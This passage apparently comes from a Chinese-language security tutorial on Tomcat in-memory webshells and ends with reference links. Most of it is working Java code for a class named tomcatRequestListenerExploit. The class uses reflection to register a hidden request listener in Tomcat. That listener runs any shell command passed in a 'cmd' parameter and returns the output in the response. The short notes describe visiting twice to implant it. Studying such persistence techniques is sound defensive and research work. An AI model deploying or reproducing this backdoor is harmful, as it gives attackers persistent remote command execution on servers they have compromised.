lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else {
ServletRequest requestFacade = lastServicedRequest.get();
addRequestListener((HttpServletRequest) requestFacade);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
try {
HttpServletRequest req = (HttpServletRequest) servletRequestEvent.getServletRequest();
String cmd = req.getParameter("cmd");
if (req.getParameter("cmd") != null) {
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
request.getResponse().getWriter().write(output);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
}
static void addRequestListener(HttpServletRequest req) {
ServletContext servletContext = req.getServletContext();
StandardContext o = null;
try {
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
// 添加监听器
o.addApplicationEventListener(new tomcatRequestListenerExploit());
} catch (Exception e) {
e.printStackTrace();
}
}
}
访问两次写入RequestListener

成功写入

参考文章
https://su18.org/post/memory-shell/
https://xz.aliyun.com/t/7388
https://www.cnblogs.com/nice0e3/p/14622879.html
https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652474966&idx=1&sn=1c75686865f7348a6b528b42789aeec8&scene=21
https://goodapple.top/archives/1359